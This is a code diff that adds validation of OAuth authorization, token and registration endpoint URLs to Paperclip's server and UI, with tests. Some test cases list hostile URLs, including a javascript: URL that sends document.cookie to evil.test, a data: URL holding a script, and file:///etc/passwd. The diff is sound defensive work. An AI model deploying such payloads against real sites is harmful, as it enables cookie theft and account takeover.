+      const candidateAuthorizationUrl = safeOAuthEndpointUrl(
+        "authorization",
+        authMetadata.authorization_endpoint,
+        rejections,
+        firstPartyOrigin,
+      );
+      const candidateTokenUrl = safeOAuthEndpointUrl("token", authMetadata.token_endpoint, rejections, firstPartyOrigin);
       if (!candidateAuthorizationUrl && !candidateTokenUrl) continue;
       // RFC 8414 §3.3: the metadata document's `issuer` must match the issuer we
       // used to build the discovery URL, or the document is not authoritative.
@@ -4289,7 +4419,8 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
       if (advertisedIssuer && !sameOAuthIssuer(advertisedIssuer, candidate.issuer)) continue;
       authorizationUrl = authorizationUrl ?? candidateAuthorizationUrl;
       tokenUrl = tokenUrl ?? candidateTokenUrl;
-      registrationUrl = registrationUrl ?? (typeof authMetadata.registration_endpoint === "string" ? authMetadata.registration_endpoint : null);
+      registrationUrl = registrationUrl
+        ?? safeOAuthEndpointUrl("registration", authMetadata.registration_endpoint, rejections, firstPartyOrigin);
       issuer = issuer ?? advertisedIssuer ?? candidate.issuer;
       if (scopes.length === 0) scopes = normalizeOauthScopes(authMetadata.scopes_supported);
       if (codeChallengeMethodsSupported.length === 0) {
@@ -4322,12 +4453,28 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
   async function discoverOAuthEndpoints(
     connection: typeof toolConnections.$inferSelect,
     challenge?: string | null,
+    firstPartyOrigin?: string | null,
   ): Promise<OAuthProviderEndpoints | null> {
     const oauth = oauthConfig(connection);
     const hints = challenge ? challengeOAuthHints(challenge) : null;
-    const configuredAuthorizationUrl =
-      typeof oauth.authorizationUrl === "string" ? oauth.authorizationUrl : hints?.authorizationUrl ?? null;
-    const configuredTokenUrl = typeof oauth.tokenUrl === "string" ? oauth.tokenUrl : hints?.tokenUrl ?? null;
+    // A configured endpoint was pasted by an operator or persisted from an
+    // earlier discovery, and a hint came straight out of the endpoint's
+    // `WWW-Authenticate` header. Neither is more trusted than metadata, so both
+    // go through the same gate; an unusable one is dropped so full metadata
+    // discovery still runs below.
+    const rejections: HttpError[] = [];
+    const configuredAuthorizationUrl = safeOAuthEndpointUrl(
+      "authorization",
+      typeof oauth.authorizationUrl === "string" ? oauth.authorizationUrl : hints?.authorizationUrl ?? null,
+      rejections,
+      firstPartyOrigin,
+    );
+    const configuredTokenUrl = safeOAuthEndpointUrl(
+      "token",
+      typeof oauth.tokenUrl === "string" ? oauth.tokenUrl : hints?.tokenUrl ?? null,
+      rejections,
+      firstPartyOrigin,
+    );
     const provider = oauthProviderForConnection(connection, typeof oauth.metadataUrl === "string" ? oauth.metadataUrl : hints?.metadataUrl);
     const scopes = normalizeOauthScopes(oauth.scopes).length > 0
       ? normalizeOauthScopes(oauth.scopes)
@@ -4348,7 +4495,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
         scopes,
         authorizationUrl: configuredAuthorizationUrl,
         tokenUrl: configuredTokenUrl,
-        registrationUrl: typeof oauth.registrationUrl === "string" ? oauth.registrationUrl : null,
+        registrationUrl: safeOAuthEndpointUrl("registration", oauth.registrationUrl, rejections, firstPartyOrigin),
         codeChallengeMethodsSupported: normalizeOauthScopes(oauth.codeChallengeMethodsSupported),
         tokenEndpointAuthMethodsSupported: normalizeOauthScopes(oauth.tokenEndpointAuthMethodsSupported),
         grantType,
@@ -4371,7 +4518,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
       metadataCandidates.push(...wellKnownMetadataUrls(endpoint.toString()));
     }
     for (const metadataUrl of [...new Set(metadataCandidates)]) {
-      const endpoints = await endpointsFromMetadataUrl(connection, metadataUrl);
+      const endpoints = await endpointsFromMetadataUrl(connection, metadataUrl, rejections, firstPartyOrigin);
       if (endpoints) {
         return {
           ...endpoints,
@@ -4381,6 +4528,10 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
         };
       }
     }
+    // Nothing usable was found *and* something was refused on the way: report the
+    // refusal rather than the generic "does not advertise OAuth sign in", so the
+    // operator learns the server offered an unsafe address.
+    if (rejections.length > 0) throw rejections[0];
     return null;
   }
 
@@ -4400,7 +4551,17 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
     if (!authorizationUrl || !tokenUrl) {
       throw unprocessable("OAuth provider endpoints are not configured for this app");
     }
-    return { provider: app.slug, scopes: method.defaults?.scopesHint ?? [], authorizationUrl, tokenUrl, grantType: "authorization_code", metadataUrl };
+    // A gallery default is Paperclip's own data, but it is still a URL that ends
+    // up as a browser navigation, and the metadata branch above reads the same
+    // untrusted document a generic connection does. Both go through the gate.
+    return {
+      provider: app.slug,
+      scopes: method.defaults?.scopesHint ?? [],
+      authorizationUrl: assertOAuthEndpointUrl("authorization", authorizationUrl),
+      tokenUrl: assertOAuthEndpointUrl("token", tokenUrl),
+      grantType: "authorization_code",
+      metadataUrl,
+    };
   }
 
   async function oauthEndpointsForConnection(
@@ -4415,14 +4576,18 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
     const hasCompleteGalleryEndpointHints = Boolean(
       galleryMethod?.defaults?.authorizationEndpoint && galleryMethod.defaults.tokenEndpoint,
     );
-    const discovered = connection.transport === "mcp_remote" && !hasCompleteGalleryEndpointHints
-      ? await discoverOAuthEndpoints(connection, challenge)
+    // The smoke-lab fixture's endpoints are first-party and complete, so
+    // discovery is not just unnecessary there, it must not run: an unreachable
+    // fixture endpoint would fail the whole callback.
+    const firstPartyOrigin = originOf(redirectUri);
+    const discovered = !smokeLabEndpoints && connection.transport === "mcp_remote" && !hasCompleteGalleryEndpointHints
+      ? await discoverOAuthEndpoints(connection, challenge, firstPartyOrigin)
       : null;
     const endpoints = smokeLabEndpoints
       ?? discovered
       ?? (galleryEntry && galleryMethod?.auth === "oauth"
         ? await oauthProviderEndpoints(galleryEntry, galleryMethod.key)
-        : await discoverOAuthEndpoints(connection, challenge));
+        : await discoverOAuthEndpoints(connection, challenge, firstPartyOrigin));
     if (!endpoints) throw unprocessable("This app connection does not advertise OAuth sign in");
     assertNotSmokeLabOAuthEndpoints(connection, endpoints);
     return endpoints;
@@ -4619,7 +4784,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
       // others apply native-client redirect rules without it.
       application_type: "web",
     };
-    const response = await fetchRemoteHttpUrl(input.endpoints.registrationUrl, {
+    const response = await fetchRemoteHttpUrl(assertOAuthEndpointUrl("registration", input.endpoints.registrationUrl), {
       method: "POST",
       headers: { "content-type": "application/json" },
       body: JSON.stringify(requestedMetadata),
@@ -5031,7 +5196,15 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
     // exchange) to this MCP server.
     if (input.resource) body.set("resource", input.resource);
 
-    const response = await fetchRemoteHttpUrl(input.tokenUrl, {
+    // The token URL can come from a connection row written before the endpoint
+    // gate existed, so a client secret / authorization code never leaves
+    // Paperclip without re-checking the transport it would leave over.
+    const tokenUrl = assertOAuthEndpointUrl("token", input.tokenUrl, {
+      // Paperclip's own callback origin, so a first-party token endpoint keeps
+      // working on a deployment that is itself served over plaintext HTTP.
+      firstPartyOrigin: originOf(input.redirectUri),
+    });
+    const response = await fetchRemoteHttpUrl(tokenUrl, {
       method: "POST",
       headers: { "content-type": "application/x-www-form-urlencoded" },
       body,
@@ -5674,7 +5847,13 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
       } catch (error) {
         if (!galleryEntry && error instanceof HttpError && asRecord(error.details).code === "oauth_challenge") {
           const [oauthConnection] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionRow.id));
-          const endpoints = await discoverOAuthEndpoints(oauthConnection).catch(() => null);
+          const endpoints = await discoverOAuthEndpoints(oauthConnection).catch((discoveryError: unknown) => {
+            // "This server advertised an address Paperclip refuses to open" is a
+            // refusal, not a failed discovery: keep it instead of collapsing it
+            // into the generic sign-in-required error.
+            if (isOAuthEndpointRejection(discoveryError)) throw discoveryError;
+            return null;
+          });
           if (!endpoints) throw error;
           return {
             connectionId: oauthConnection.id,
@@ -6195,7 +6374,15 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
       expiresAt,
     });
 
-    const authorizationUrl = new URL(endpoints.authorizationUrl);
+    // Last gate before this URL becomes a top-level browser navigation. Every
+    // producer above already validates, so reaching a rejection here means a new
+    // path was added without one — fail closed rather than hand the board an
+    // unvetted target.
+    const authorizationUrl = new URL(assertOAuthEndpointUrl("authorization", endpoints.authorizationUrl, {
+      // Paperclip's own callback origin: a first-party authorization endpoint is
+      // served however this deployment is served, plaintext LAN host included.
+      firstPartyOrigin: originOf(input.redirectUri),
+    }));
     authorizationUrl.searchParams.set("response_type", "code");
     authorizationUrl.searchParams.set("client_id", client.clientId);
     authorizationUrl.searchParams.set("redirect_uri", input.redirectUri);
diff --git a/ui/src/lib/authorizationUrl.test.ts b/ui/src/lib/authorizationUrl.test.ts
new file mode 100644
index 00000000000..f41a396a953
--- /dev/null
+++ b/ui/src/lib/authorizationUrl.test.ts
@@ -0,0 +1,62 @@
+// @vitest-environment jsdom
+import { afterEach, describe, expect, it } from "vitest";
+import { resolveAuthorizationTarget } from "./authorizationUrl";
+
+/**
+ * PAP-17099 — the board's own copy of the endpoint gate. The shared validator is
+ * tested exhaustively in `@paperclipai/shared`; what matters here is that the
+ * board applies it, and that its loopback exception follows how the board itself
+ * is served rather than being unconditional.
+ */
+function serveBoardOver(protocol: "http:" | "https:") {
+  Object.defineProperty(window, "location", {
+    configurable: true,
+    value: { ...window.location, protocol },
+  });
+}
+
+describe("resolveAuthorizationTarget", () => {
+  afterEach(() => {
+    // jsdom's default is a plaintext localhost board.
+    serveBoardOver("http:");
+  });
+
+  it("accepts an https authorization page and reports its host", () => {
+    expect(resolveAuthorizationTarget("https://auth.example.test/authorize?state=abc")).toEqual({
+      ok: true,
+      url: "https://auth.example.test/authorize?state=abc",
+      host: "auth.example.test",
+    });
+  });
+
+  it.each([
+    "javascript:fetch('https://evil.test/'+document.cookie)",
+    "data:text/html,<script>alert(document.domain)</script>",
+    "file:///etc/passwd",
+    "http://evil.test/authorize",
+    "https://auth.example.test@evil.test/authorize",
+    "https://auth.example.test/authorize#@evil.test",
+    "not-a-url",
+    "",
+    null,
+    undefined,
+  ])("refuses %s with a message that does not echo it", (value) => {
+    const target = resolveAuthorizationTarget(value);
+    expect(target.ok).toBe(false);
+    if (target.ok) return;
+    expect(target.message.length).toBeGreaterThan(0);
+    if (value) expect(target.message).not.toContain(value);
+  });
+
+  it("allows a loopback authorization server only on a plaintext-http board", () => {
+    serveBoardOver("http:");
+    expect(resolveAuthorizationTarget("http://127.0.0.1:8930/authorize").ok).toBe(true);
+
+    serveBoardOver("https:");
+    expect(resolveAuthorizationTarget("http://127.0.0.1:8930/authorize")).toEqual({
+      ok: false,
+      message: expect.stringContaining("secure"),
+    });
+    expect(resolveAuthorizationTarget("https://auth.example.test/authorize").ok).toBe(true);
+  });
+});
diff --git a/ui/src/lib/authorizationUrl.ts b/ui/src/lib/authorizationUrl.ts
new file mode 100644
index 00000000000..6bf23b3b505
--- /dev/null
+++ b/ui/src/lib/authorizationUrl.ts
@@ -0,0 +1,30 @@
+import { checkOAuthEndpointUrl, oauthEndpointUrlRejectionMessage } from "@paperclipai/shared";
+
+export type AuthorizationTarget =
+  | { ok: true; url: string; host: string }
+  | { ok: false; message: string };
+
+/**
+ * Vet an authorization URL before it becomes a top-level navigation (PAP-17099).
+ *
+ * The server already refuses to hand out an unsafe endpoint, but this is the
+ * boundary where a bad value would actually execute — `window.location.assign`
+ * on a `javascript:` URL runs script in the board's origin — so the board checks
+ * the same rules with the same shared validator rather than trusting the
+ * response body it just received.
+ */
+export function resolveAuthorizationTarget(value: string | null | undefined): AuthorizationTarget {
+  const servedOverHttp = typeof window !== "undefined" && window.location.protocol === "http:";
+  const check = checkOAuthEndpointUrl(value ?? null, {
+    // A board served over plaintext HTTP is a local-development board, where a
+    // loopback authorization server is exactly what someone is testing against.
+    // A board served over HTTPS requires HTTPS.
+    allowInsecureLoopback: servedOverHttp,
+    // Paperclip's own origin: a first-party authorization endpoint (the smoke-lab
+    // fixture) is served however the board is, and going to the page you are
+    // already on adds no exposure.
+    allowInsecureOrigins: typeof window !== "undefined" ? [window.location.origin] : [],
+  });
+  if (check.ok) return { ok: true, url: check.url, host: check.host };
+  return { ok: false, message: oauthEndpointUrlRejectionMessage("authorization", check.reason) };
+}
diff --git a/ui/src/pages/apps/AppDetail.test.tsx b/ui/src/pages/apps/AppDetail.test.tsx
index c009b0d2a61..6be87c00cce 100644
--- a/ui/src/pages/apps/AppDetail.test.tsx
+++ b/ui/src/pages/apps/AppDetail.test.tsx
@@ -88,8 +88,9 @@ vi.mock("@/context/BreadcrumbContext", () => ({
   useBreadcrumbs: () => ({ setBreadcrumbs: vi.fn() }),
 }));
 
+const pushToastMock = vi.hoisted(() => vi.fn());
 vi.mock("@/context/ToastContext", () => ({
-  useToast: () => ({ pushToast: vi.fn() }),
+  useToast: () => ({ pushToast: pushToastMock }),
 }));
 
 // eslint-disable-next-line @typescript-eslint/no-explicit-any
@@ -244,7 +245,7 @@ describe("AppDetail", () => {
     startOAuthMock.mockResolvedValue({
       connectionId: "conn-1",
       provider: "smoke_lab",
-      authorizationUrl: "http://example.test/oauth",
+      authorizationUrl: "https://example.test/oauth",
       expiresAt: "2026-07-10T00:00:00.000Z",
     });
   });
@@ -795,6 +796,47 @@ describe("AppDetail", () => {
     await flushReact();
 
     expect(startOAuthMock).toHaveBeenCalledWith("conn-1");
-    expect(navigateTopLevelMock).toHaveBeenCalledWith("http://example.test/oauth");
+    expect(navigateTopLevelMock).toHaveBeenCalledWith("https://example.test/oauth");
+  });
+
+  /**
+   * PAP-17099 — the server refuses to hand out an unsafe authorization endpoint,
+   * but this is the boundary where one would actually execute, so the board must
+   * refuse it independently of what the response body says.
+   */
+  it.each([
+    ["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"],
+    ["data:", "data:text/html,<script>alert(document.domain)</script>"],
+    ["file:", "file:///etc/passwd"],
+    ["plaintext http", "http://evil.test/authorize"],
+    ["credentials", "https://accounts.example.test@evil.test/authorize"],
+  ])("never navigates to a %s authorization url", async (_label, authorizationUrl) => {
+    mockParams.tab = "permissions";
+    getConnectionMock.mockResolvedValue(connection({
+      authKind: "oauth",
+      healthStatus: "failed",
+      healthMessage: "Authorization expired (invalid_grant).",
+    }));
+    startOAuthMock.mockResolvedValue({
+      connectionId: "conn-1",
+      provider: "generic",
+      authorizationUrl,
+      expiresAt: "2026-07-10T00:00:00.000Z",
+    });
+
+    await renderAppDetail();
+    await act(async () => {
+      Array.from(container.querySelectorAll("button"))
+        .find((button) => button.textContent?.trim() === "Reconnect")
+        ?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+    });
+    await flushReact();
+
+    expect(navigateTopLevelMock).not.toHaveBeenCalled();
+    expect(pushToastMock).toHaveBeenCalledWith(expect.objectContaining({ tone: "error" }));
+    // The refusal explains itself without echoing the hostile URL back into the DOM.
+    const body = String(pushToastMock.mock.calls.at(-1)?.[0]?.body ?? "");
+    expect(body.length).toBeGreaterThan(0);
+    expect(body).not.toContain(authorizationUrl);
   });
 });
diff --git a/ui/src/pages/apps/AppDetail.tsx b/ui/src/pages/apps/AppDetail.tsx
index 5dff43b1c23..d458947ceca 100644
--- a/ui/src/pages/apps/AppDetail.tsx
+++ b/ui/src/pages/apps/AppDetail.tsx
@@ -22,6 +22,7 @@ import { accessApi } from "@/api/access";
 import { authApi } from "@/api/auth";
 import { buildCompanyUserLabelMap } from "@/lib/company-members";
 import { installPayload, installStateFrom, type InstallState } from "@/lib/tool-installs";
+import { resolveAuthorizationTarget } from "@/lib/authorizationUrl";
 import { navigateTopLevel } from "@/lib/browserNavigation";
 import { Button } from "@/components/ui/button";
 import { Input } from "@/components/ui/input";
@@ -246,7 +247,14 @@ export function AppDetail() {
   const startOAuth = useMutation({
     mutationFn: () => toolsApi.startOAuth(connectionId),
     onSuccess: ({ authorizationUrl }) => {
-      navigateTopLevel(authorizationUrl);
+      // Checked again at the navigation boundary (PAP-17099): the address came
+      // from the remote server, and this is where an unsafe scheme would run.
+      const target = resolveAuthorizationTarget(authorizationUrl);
+      if (!target.ok) {
+        pushToast({ title: "Couldn't start sign-in", body: target.message, tone: "error" });
+        return;
+      }
+      navigateTopLevel(target.url);
     },
     onError: (error) =>
       pushToast({
diff --git a/ui/src/pages/apps/AppsConnect.test.tsx b/ui/src/pages/apps/AppsConnect.test.tsx
index 5c984034d00..aec5a95229d 100644
--- a/ui/src/pages/apps/AppsConnect.test.tsx
+++ b/ui/src/pages/apps/AppsConnect.test.tsx
@@ -1259,6 +1259,79 @@ describe("AppsConnect — guided generic MCP flow (PAP-17087)", () => {
     await flushReact();
 
     expect(navigateTopLevelMock).toHaveBeenCalledWith("https://auth.example.test/authorize?state=abc");
+    // Residual risk of a real-but-hostile authorization page: name the host the
+    // operator is being handed to (PAP-17099).
+    expect(container.textContent).toContain("auth.example.test");
+  });
+
+  /**
+   * PAP-17099 — a generic MCP server picks its own authorization endpoint, and
+   * `window.location.assign` is where an unsafe scheme would actually execute.
+   * The board refuses independently of the API response.
+   */
+  describe("unsafe authorization urls", () => {
+    const UNSAFE = [
+      ["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"],
+      ["data:", "data:text/html,<script>alert(document.domain)</script>"],
+      ["file:", "file:///etc/passwd"],
+      ["plaintext http", "http://evil.test/authorize"],
+      ["credentials", "https://auth.example.test@evil.test/authorize"],
+    ] as const;
+
+    it.each(UNSAFE)("never opens a %s start url from connect", async (_label, startUrl) => {
+      connectAppMock.mockResolvedValue({
+        connectionId: "conn-1",
+        application: { id: "app-1", name: "mcp.example.test" },
+        actions: { readOnly: [], canMakeChanges: [] },
+        catalog: [],
+        suggestedDefaults: {},
+        auth: { kind: "oauth", startUrl },
+      });
+      await render();
+      await gotoLinkFrame(container, "https://mcp.example.test/mcp");
+      await act(async () => {
+        buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+      });
+      await flushReact();
+      await flushReact();
+
+      expect(navigateTopLevelMock).not.toHaveBeenCalled();
+      expect(container.textContent).toContain("couldn’t connect");
+      // The refusal is explained without echoing the hostile address on screen.
+      expect(container.textContent).not.toContain(startUrl);
+      expect(container.textContent).toMatch(/sign-in address/);
+    });
+
+    it.each(UNSAFE)("never opens a %s authorization url from start sign-in", async (_label, authorizationUrl) => {
+      connectAppMock.mockResolvedValue({
+        connectionId: "conn-1",
+        application: { id: "app-1", name: "mcp.example.test" },
+        actions: { readOnly: [], canMakeChanges: [] },
+        catalog: [],
+        suggestedDefaults: {},
+        auth: { kind: "oauth", startUrl: null },
+      });
+      startOAuthMock.mockResolvedValue({
+        connectionId: "conn-1",
+        provider: "mcp_example_test",
+        authorizationUrl,
+        expiresAt: "2099-01-01T00:00:00.000Z",
+      });
+      await render();
+      await gotoLinkFrame(container, "https://mcp.example.test/mcp");
+      await act(async () => {
+        buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+      });
+      await flushReact();
+      await flushReact();
+
+      expect(startOAuthMock).toHaveBeenCalledWith("conn-1");
+      expect(navigateTopLevelMock).not.toHaveBeenCalled();
+      expect(container.textContent).toContain("couldn’t connect");
+      expect(container.textContent).not.toContain(authorizationUrl);
+      // Retry is still offered rather than a dead end.
+      expect(buttonByText("Try again")).toBeTruthy();
+    });
   });
 
   it("asks for a preregistered client rather than losing the draft", async () => {
diff --git a/ui/src/pages/apps/AppsConnect.tsx b/ui/src/pages/apps/AppsConnect.tsx
index c6894899f55..c4e3e484f50 100644
--- a/ui/src/pages/apps/AppsConnect.tsx
+++ b/ui/src/pages/apps/AppsConnect.tsx
@@ -47,6 +47,7 @@ import { ToggleSwitch } from "@/components/ui/toggle-switch";
 import { Skeleton } from "@/components/ui/skeleton";
 import { cn } from "@/lib/utils";
 import { copyTextToClipboard } from "@/lib/clipboard";
+import { resolveAuthorizationTarget } from "@/lib/authorizationUrl";
 import { navigateTopLevel } from "@/lib/browserNavigation";
 import { AppLogo } from "./AppLogo";
 import { appSourceConnectHref, isMcpDirectOAuthConnectSlug } from "./app-connect-policy";
@@ -211,6 +212,8 @@ export function AppsConnect() {
   const [installAgentIds, setInstallAgentIds] = useState<Set<string>>(new Set());
   const [oauthPhase, setOAuthPhase] = useState<OAuthConnectPhase>("entry");
   const [oauthError, setOAuthError] = useState<string | null>(null);
+  /** Host of the page the operator is about to be sent to, shown while redirecting. */
+  const [authorizationHost, setAuthorizationHost] = useState<string | null>(null);
   const directOAuthStartedRef = useRef(false);
   const directOAuthRetryingRef = useRef(false);
 
@@ -337,8 +340,17 @@ export function AppsConnect() {
   const oauthStartMutation = useMutation({
     mutationFn: (connectionId: string) => toolsApi.startOAuth(connectionId),
     onSuccess: ({ authorizationUrl }) => {
+      // The endpoint chose this address, so it is checked here too — this is the
+      // line where an unsafe scheme would actually run (PAP-17099).
+      const target = resolveAuthorizationTarget(authorizationUrl);
+      if (!target.ok) {
+        setOAuthPhase("error");
+        setOAuthError(target.message);
+        return;
+      }
+      setAuthorizationHost(target.host);
       setOAuthPhase("redirecting");
-      navigateTopLevel(authorizationUrl);
+      navigateTopLevel(target.url);
     },
     onError: (error) => {
       const details = error instanceof ApiError && error.body && typeof error.body === "object"
@@ -409,9 +421,17 @@ export function AppsConnect() {
           startOAuth(result.connectionId);
           return;
         }
+        const target = resolveAuthorizationTarget(startUrl);
+        if (!target.ok) {
+          setGenericOAuthPending(true);
+          setOAuthPhase("error");
+          setOAuthError(target.message);
+          return;
+        }
+        setAuthorizationHost(target.host);
         setOAuthPhase("redirecting");
         setGenericOAuthPending(true);
-        navigateTopLevel(startUrl);
+        navigateTopLevel(target.url);
         return;
       }
       setLinkGuidance(null);
@@ -576,6 +596,7 @@ export function AppsConnect() {
         entry={directOAuthEntry}
         phase={oauthPhase}
         error={oauthError}
+        authorizationHost={authorizationHost}
         onRetry={async () => {
           setOAuthError(null);
           setOAuthPhase("starting");
@@ -633,6 +654,7 @@ export function AppsConnect() {
         }}
         phase={oauthPhase}
         error={oauthError}
+        authorizationHost={authorizationHost}
         onRetry={() => {
           setOAuthError(null);
           const connectionId = connectResult?.connectionId;
@@ -943,6 +965,7 @@ export function OAuthConnectStateScreen({
   identity,
   phase,
   error,
+  authorizationHost,
   onRetry,
   onCancel,
 }: {
@@ -952,6 +975,12 @@ export function OAuthConnectStateScreen({
   identity?: { name: string; unverifiedHost: string | null };
   phase: OAuthConnectPhase;
   error?: string | null;
+  /**
+   * Host of the authorization page being opened. A valid HTTPS authorization
+   * page can still be a phishing page, so the operator sees exactly which host
+   * they are being handed to (PAP-17099).
+   */
+  authorizationHost?: string | null;
   onRetry: () => void;
   onCancel: () => void;
 }) {
@@ -970,7 +999,9 @@ export function OAuthConnectStateScreen({
       : phase === "redirecting"
         ? {
             title: `Opening ${serverName}`,
-            body: `Continue in ${serverName} to choose a workspace and approve access.`,
+            body: authorizationHost
+              ? `Continue at ${authorizationHost} to choose a workspace and approve access. Only approve access if you recognize that address.`
+              : `Continue in ${serverName} to choose a workspace and approve access.`,
           }
         : {
             title: `${serverName} couldn’t connect`,
diff --git a/ui/src/pages/apps/app-detail/AdvancedPanel.tsx b/ui/src/pages/apps/app-detail/AdvancedPanel.tsx
index fb369769962..d7a5043ea0a 100644
--- a/ui/src/pages/apps/app-detail/AdvancedPanel.tsx
+++ b/ui/src/pages/apps/app-detail/AdvancedPanel.tsx
@@ -8,6 +8,7 @@ import { Button } from "@/components/ui/button";
 import { Input } from "@/components/ui/input";
 import { useToast } from "@/context/ToastContext";
 import { redactUrlSecrets } from "@/lib/redact-url-secrets";
+import { resolveAuthorizationTarget } from "@/lib/authorizationUrl";
 import { navigateTopLevel } from "@/lib/browserNavigation";
 import type { AppDetailSectionProps } from "./types";
 
@@ -89,7 +90,16 @@ export function ReconnectCard({
   const { pushToast } = useToast();
   const reconnectOAuth = useMutation({
     mutationFn: () => toolsApi.startOAuth(connection.id),
-    onSuccess: ({ authorizationUrl }) => navigateTopLevel(authorizationUrl),
+    onSuccess: ({ authorizationUrl }) => {
+      // Reconnect navigates to the same discovered address a fresh connect does,
+      // so it goes through the same gate (PAP-17099).
+      const target = resolveAuthorizationTarget(authorizationUrl);
+      if (!target.ok) {
+        pushToast({ title: "Couldn’t start sign-in", body: target.message, tone: "error" });
+        return;
+      }
+      navigateTopLevel(target.url);
+    },
     onError: (error) =>
       pushToast({
         title: "Couldn’t start sign-in",